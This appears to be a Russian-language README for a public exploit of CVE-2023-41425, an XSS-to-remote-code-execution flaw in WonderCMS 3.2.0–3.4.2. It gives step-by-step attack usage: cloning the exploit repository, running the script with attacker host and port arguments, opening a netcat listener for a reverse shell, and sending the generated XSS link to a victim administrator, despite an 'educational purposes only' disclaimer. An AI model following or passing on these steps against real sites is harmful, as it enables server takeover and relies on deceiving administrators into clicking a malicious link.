CVE-2023-41425-wonderCMS_RCE

Уязвимость межсайтового скриптинга (Cross Site Scripting) в Wonder CMS v.3.2.0–v.3.4.2 позволяет удалённому злоумышленнику выполнить произвольный код с помощью специально созданного скрипта, загружаемого в компонент installModule. Только в образовательных целях

Требуется знание loginURL, доступ администратора или возможность заставить администратора перейти по XSS-ссылке.

1. Клонируйте репозиторий

git clone https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE.git

2. Запустите его

usage: CVE-2023-41425.py [-h] -rhost RHOST -lhost LHOST -lport LPORT -sport SPORT
python3 CVE-2023-41425.py -rhost http://example.com/loginURL -lhost 10.10.14.7 -lport 9001 -sport 8000

3. Настройте локальный слушатель

nc -lnvp 9001

4. Отправьте напечатанный XSS-URL жертве или, если у вас есть доступ администратора, нажмите на него
5. Дождитесь обратного вызова

Благодарности